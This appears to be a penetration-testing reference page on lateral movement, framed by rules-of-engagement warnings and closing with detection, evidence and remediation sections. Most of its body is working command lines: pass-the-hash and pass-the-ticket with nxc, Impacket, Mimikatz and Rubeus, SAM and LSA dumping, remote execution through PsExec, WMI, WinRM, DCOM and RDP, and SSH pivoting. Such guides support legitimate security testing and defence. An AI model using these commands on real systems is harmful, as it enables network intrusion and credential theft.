12 min read

Exploitation

Lateral Movement

Move through the network using captured credentials, hashes, and tickets to access additional systems.

Danger

Scope boundary for this page. Lateral movement is where a test stops being read-only: PsExec installs a service, WMI leaves a process, RDP can disconnect whoever is already signed in, and enabling Restricted Admin or RDP changes the host's configuration. Confirm the host list and the permitted primitives in the Rules of Engagement before you move, avoid accounts whose use was not agreed, and record every service and registry key you create so it can be removed at the end.

Tool Installation

Impacket

PsExec, WMIExec, etc.

pip install impacket

Evil-WinRM

WinRM shell

gem install evil-winrm

nxc

Swiss army knife

github.com/byt3bl33d3r

Mimikatz

Credential extraction

github.com/gentilkiwi

Pass-the-Hash (PtH)

Use NTLM hashes directly without knowing the plaintext password. Works with local admin accounts and domain accounts.

Hash Format:

  • LM:NTLM - Full format (e.g., aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0)
  • :NTLM - NTLM only (LM is often empty)
  • Empty LM hash: aad3b435b51404eeaad3b435b51404ee

Warning

Local Admin Required: PtH to SMB requires local administrator privileges on the target. Domain user hashes won't work unless the user is a local admin.

nxc PtH

pth-nxc.sh
# Execute command with hash
nxc smb TARGET -u Administrator -H 'LM:NTLM' -x 'whoami'

# Just NTLM hash (common)
nxc smb TARGET -u Administrator -H ':31d6cfe0d16ae931b73c59d7e0c089c0' -x 'whoami'

# Spray hash across network (find where admin creds work)
nxc smb 192.168.1.0/24 -u Administrator -H 'HASH' --local-auth

# Check if user is local admin (Pwn3d!)
nxc smb 192.168.1.0/24 -u Administrator -H 'HASH'

# Dump SAM hashes with PtH
nxc smb TARGET -u Administrator -H 'HASH' --sam

# Dump LSA secrets
nxc smb TARGET -u Administrator -H 'HASH' --lsa

# Execute PowerShell
nxc smb TARGET -u Administrator -H 'HASH' -X 'Get-Process'

Impacket PtH

Impacket provides multiple execution methods with different stealth/detection tradeoffs.

pth-impacket.sh
# PsExec - Creates service, interactive shell
psexec.py -hashes :NTLM_HASH Administrator@TARGET

# WMIExec - Stealthier, semi-interactive
wmiexec.py -hashes :NTLM_HASH Administrator@TARGET

# SMBExec - Uses named pipes
smbexec.py -hashes :NTLM_HASH Administrator@TARGET

# AtExec - Uses Task Scheduler (non-interactive)
atexec.py -hashes :NTLM_HASH Administrator@TARGET 'whoami > C:\output.txt'

# DCOMExec - Uses DCOM objects
dcomexec.py -hashes :NTLM_HASH Administrator@TARGET

# Full hash format also works
psexec.py -hashes 'aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' Administrator@TARGET

Mimikatz PtH / Overpass-the-Hash

Overpass-the-Hash converts NTLM hash to a Kerberos ticket, allowing pass-the-hash to Kerberos-only services.

overpass-the-hash.txt
# Overpass-the-hash - spawns new process with Kerberos ticket
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:HASH /run:powershell.exe

# The new PowerShell window has Administrator's Kerberos ticket
# Verify with: klist

# Access resources
dir \\target.corp.local\c$

# You can also use AES keys
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.local /aes256:AES_KEY /run:cmd.exe

# Classic PtH (NTLM only, deprecated)
mimikatz# sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd.exe

Pass-the-Ticket (PtT)

Use stolen Kerberos tickets to authenticate. Works even when NTLM is disabled.

Ticket Formats:

  • .kirbi - Windows format (Mimikatz, Rubeus)
  • .ccache - Linux format (Impacket)
  • Base64 - Rubeus output format
  • Convert between formats with ticketConverter.py

Export and Import Tickets

ticket-export.txt
# Export tickets with Mimikatz (saves all tickets to .kirbi files)
mimikatz# sekurlsa::tickets /export

# Export specific ticket
mimikatz# kerberos::list /export

# Import ticket
mimikatz# kerberos::ptt ticket.kirbi

# Rubeus - dump all tickets (Base64 format)
Rubeus.exe dump /nowrap
Rubeus.exe dump /service:krbtgt /nowrap  # Just TGTs

# Rubeus - import ticket from Base64
Rubeus.exe ptt /ticket:BASE64_TICKET_STRING

# Rubeus - import from file
Rubeus.exe ptt /ticket:ticket.kirbi

# Verify ticket loaded (Windows)
klist

Impacket with Kerberos

kerberos-impacket.sh
# Convert kirbi to ccache format
ticketConverter.py ticket.kirbi ticket.ccache

# Convert ccache to kirbi
ticketConverter.py ticket.ccache ticket.kirbi

# Set environment variable to use ccache
export KRB5CCNAME=/path/to/ticket.ccache

# Use any Impacket tool with Kerberos (-k flag, -no-pass)
psexec.py -k -no-pass corp.local/Administrator@target.corp.local
wmiexec.py -k -no-pass corp.local/Administrator@target.corp.local
secretsdump.py -k -no-pass target.corp.local
smbclient.py -k -no-pass corp.local/Administrator@target.corp.local

# IMPORTANT: Use FQDN (target.corp.local), not IP address!
# Kerberos requires matching hostname in ticket

Warning

DNS Required: When using Kerberos, you must resolve hostnames. Add DC to /etc/hosts or configure DNS. Use FQDNs, not IP addresses.

Remote Execution Methods

Different methods have different requirements, detection signatures, and capabilities.

PsExec

Creates a service on the remote system. Noisy but reliable.

psexec.sh
# Impacket PsExec (creates PSEXESVC service)
psexec.py corp.local/Administrator:Password123@TARGET
psexec.py corp.local/Administrator:Password123@TARGET 'cmd.exe /c whoami'

# Sysinternals PsExec
PsExec.exe \\TARGET -u corp\Administrator -p Password123 cmd.exe
PsExec.exe \\TARGET -u corp\Administrator -p Password123 -s cmd.exe  # SYSTEM

# nxc (tries multiple methods)
nxc smb TARGET -u Administrator -p Password123 -x 'whoami'
nxc smb TARGET -u Administrator -p Password123 -x 'whoami' --exec-method smbexec

Detection Indicators:

  • Service creation event (Event ID 7045)
  • File write to ADMIN$ share
  • Named pipe connections

WMI Execution

WMI is stealthier - no service created, uses existing WMI infrastructure.

wmi-exec.sh
# Impacket WMIExec (semi-interactive shell)
wmiexec.py corp.local/Administrator:Password123@TARGET
wmiexec.py -hashes :NTLM_HASH Administrator@TARGET

# PowerShell WMI
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'cmd.exe /c whoami > C:\output.txt' -ComputerName TARGET -Credential $cred

# Read output
Get-Content \\TARGET\c$\output.txt

# CIM (modern WMI)
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='calc.exe'} -ComputerName TARGET -Credential $cred

# wmic command line (removed in 24H2 / Server 2025, still present on older builds)
wmic /node:TARGET /user:Administrator /password:Password123 process call create 'cmd.exe /c whoami'

WinRM (Evil-WinRM)

WinRM provides encrypted PowerShell remoting. Port 5985 (HTTP) or 5986 (HTTPS).

winrm.sh
# Evil-WinRM with password
evil-winrm -i TARGET -u Administrator -p 'Password123'

# Evil-WinRM with hash (PtH)
evil-winrm -i TARGET -u Administrator -H 'NTLM_HASH'

# Evil-WinRM with Kerberos ticket
# -K takes the .ccache (or .kirbi); -r only sets the realm
evil-winrm -i target.corp.local -r CORP.LOCAL -K Administrator.ccache

# Evil-WinRM features
menu                    # Show all features
upload /local/file      # Upload file
download C:\file        # Download file
services                # List services

# PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred

# Invoke-Command for mass execution
Invoke-Command -ComputerName server1,server2,server3 -Credential $cred -ScriptBlock { whoami; hostname }

# Check if WinRM is enabled
Test-WSMan -ComputerName TARGET

Tip

Enable WinRM: If WinRM is disabled but you have admin access via SMB, you can enable it remotely with: nxc smb TARGET -u admin -p pass -x 'winrm quickconfig -q' (or -X 'Enable-PSRemoting -Force'). Check the result with nxc winrm TARGET -u admin -p pass — NetExec has no winrm SMB module.

DCOM Execution

DCOM is less monitored and often overlooked by defenders.

dcom-exec.sh
# Impacket DCOMExec (uses MMC20 by default)
dcomexec.py corp.local/Administrator:Password123@TARGET
dcomexec.py -hashes :NTLM_HASH Administrator@TARGET

# Different DCOM objects
dcomexec.py corp.local/Administrator:Password123@TARGET 'whoami' -object ShellBrowserWindow
dcomexec.py corp.local/Administrator:Password123@TARGET 'whoami' -object ShellWindows
dcomexec.py corp.local/Administrator:Password123@TARGET 'whoami' -object MMC20

RDP Access

Full GUI access. Note: May kick off current user and is heavily logged.

rdp.sh
# Enable RDP via registry (if you have admin)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

# Firewall rule for RDP
netsh advfirewall firewall set rule group="remote desktop" new enable=yes

# Add user to Remote Desktop Users group
net localgroup "Remote Desktop Users" username /add

# RDP with xfreerdp (Linux)
xfreerdp /u:Administrator /p:Password123 /v:TARGET /cert-ignore
xfreerdp /u:corp\\Administrator /p:Password123 /v:TARGET /cert-ignore  # Domain user

# RDP Pass-the-Hash (Restricted Admin Mode required)
xfreerdp /u:Administrator /pth:NTLM_HASH /v:TARGET /cert-ignore

# Enable Restricted Admin Mode (on target)
reg add HKLM\\System\\CurrentControlSet\\Control\\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

# RDP with rdesktop
rdesktop -u Administrator -p Password123 TARGET

# SharpRDP (command execution via RDP without full GUI)
SharpRDP.exe computername=TARGET command="whoami" username=Administrator password=Password123

Warning

Restricted Admin Mode: Required for RDP PtH. When enabled, credentials aren't sent to the remote machine (helps prevent credential theft but allows PtH).

SSH (Linux Targets)

For Linux systems or Windows with OpenSSH installed.

ssh.sh
# SSH with password
ssh user@TARGET

# SSH with key
ssh -i id_rsa user@TARGET
chmod 600 id_rsa  # Fix permissions if needed

# SSH tunneling for lateral movement
# Local port forward (access internal service from attacker)
ssh -L 8080:internal-host:80 user@pivot-host
# Now access http://localhost:8080 to reach internal-host:80

# SOCKS proxy (tunnel all traffic)
ssh -D 9050 user@pivot-host
# Use with proxychains

# Remote port forward (expose attacker service to internal network)
ssh -R 8080:localhost:80 user@pivot-host

# SSH with password (avoid interactive prompt)
sshpass -p 'password' ssh user@TARGET

# Execute command without interactive shell
ssh user@TARGET 'whoami; id; cat /etc/passwd'

Lateral Movement Cheat Sheet

Method Port Pros Cons
PsExec 445 Interactive shell Creates service, noisy
WMIExec 135 Stealthier, no service Semi-interactive
WinRM 5985/5986 Native, encrypted Must be enabled
DCOM 135 Often overlooked Non-interactive
RDP 3389 Full GUI access Kicks off user, logged

Tip

WMIExec is generally the stealthiest option as it doesn't create services or write files. Use it when trying to avoid detection.

External Resources

Practice Labs

Practice lateral movement techniques

Wreath TryHackMe hard
Pass the HashPivotingWinRM
Cascade Hack The Box medium
LDAPPass the Hash
Holo TryHackMe hard
Pass the TicketLateral Movement
Throwback TryHackMe hard
WMIPsExecAD Attacks

Detection & Blue Team

Each primitive leaves a different artefact, and that artefact — not the credential — is the detection surface. The same successful authentication is benign over a management VLAN and anomalous from a workstation at 02:00, so every row below is a baseline question before it is an alert.

Technique Event IDs Detection Approach
Pass-the-Hash 4624 (Type 3, NTLM) Network logon with NTLM authentication from unusual workstations. Alert on admin accounts using NTLM instead of Kerberos.
PsExec / SMBExec 7045, 4697 New service installation on remote hosts with random names. Monitor for services created by non-SYSTEM accounts.
WMI Execution 4688 (wmiprvse.exe child) Process creation from wmiprvse.exe on remote machines. Monitor WMI event subscriptions (5857-5861).
WinRM / Evil-WinRM 4624 (Type 3), 91, 168 WinRM connections from non-admin workstations. Monitor PowerShell remoting events (Microsoft-Windows-WinRM/Operational).
RDP Hijacking 4778, 4779, 1149 Session reconnection from different source. Monitor tscon.exe usage and RDP session switches.

Evidence Collection

Session and identity: The host, the account used, whether it authenticated by password, hash or ticket, and the resulting context (whoami /all, whoami /priv). A command that returned is not proof of the privilege level you claim.

Primitive and artefact: Which mechanism carried the execution — PsExec service name, WMI process ID and parent, WinRM shell, DCOM object, RDP session ID. The artefact is what the client has to hunt for after the engagement, so it belongs in the finding.

Admin scope: Every host where the credential produced local admin, as a list. That list is the blast radius and usually the finding itself; "lateral movement achieved" without the host list is not reportable.

Credential provenance: Where the hash or ticket came from — which dump, which host, which account — so the client knows what to rotate and in what order.

CVSS range: Lateral movement with local admin on a member server: 7.2–8.8 | Reaching Domain Admin: 9.8 | Re-use of a local admin password across hosts is a separate, higher finding

False Positive Identification

  • A stale "Pwn3d!" marker: nxc reports admin from a cached session as well as a fresh one. Re-run against a host you have not touched and confirm with a command whose output you can read.
  • Process start is not command success: WMI Win32_Process.Create and PsExec return a process ID whether or not the payload ran. Collect the output file, logon event or service exit code before calling it execution.
  • A loaded ticket that is never accepted: A .ccache with the wrong SPN, the wrong realm, or an IP where Kerberos needs an FQDN produces an access-denied that looks like a privilege problem. Verify the ticket is in use with klist first.
  • RDP reconnection is not hijacking: Attaching to an existing disconnected session with the same account is normal administration. Session hijacking requires taking over another user's session — evidence the two SIDs differ.

Testing Checklist

Each movement method fails differently, so the checklist is per method: the command returning is not the same as the command having run.

Prove access on one host

  • ☐ nxc smb -H prints Pwn3d! and a following command returns readable output - the marker alone can come from a cached session.
  • ☐ Each execution method (PsExec, WMI, WinRM, DCOM, RDP) is confirmed by output or a readable file, not by a returned process ID.
  • ☐ evil-winrm -K ticket.ccache opens a shell, and klist shows the ticket is the one in use when it does not.
  • ☐ SSH to a Linux target is confirmed as the account you intended, not merely as a successful login.

Bound the blast radius

  • ☐ Every host where the credential produced local admin is listed - that list is the finding, not the technique.
  • ☐ The credential's provenance (which dump, host and account) is recorded so the client knows what to rotate first.
  • ☐ The artefact is named per mechanism: service name, wmiprvse.exe parent, WinRM shell ID, DCOM object.
  • ☐ RDP session hijacking is claimed only where the two SIDs differ - reconnecting to your own session is normal administration.

Remediation

Make a stolen credential worth less

  • • Deploy LAPS (or Windows LAPS) so the local administrator password is unique per host — one hash then buys exactly one machine.
  • • Tier administration: separate accounts for workstation, server and domain administration, with admin workstations for the top tier.
  • • Add privileged accounts to Protected Users and disable NTLM where the estate allows it, so a hash cannot stand in for a password.

Detect the primitive, not the tool

  • • Alert on 7045/4697 service installation from a non-management host, and on 4688 processes whose parent is wmiprvse.exe.
  • • Log PowerShell remoting (4103/4104) and 4624 type 3 NTLM logons by admin accounts outside their management subnet.
  • • Watch 4624 type 10 with a source that is not a jump host, and tscon.exe invocations against sessions the caller does not own.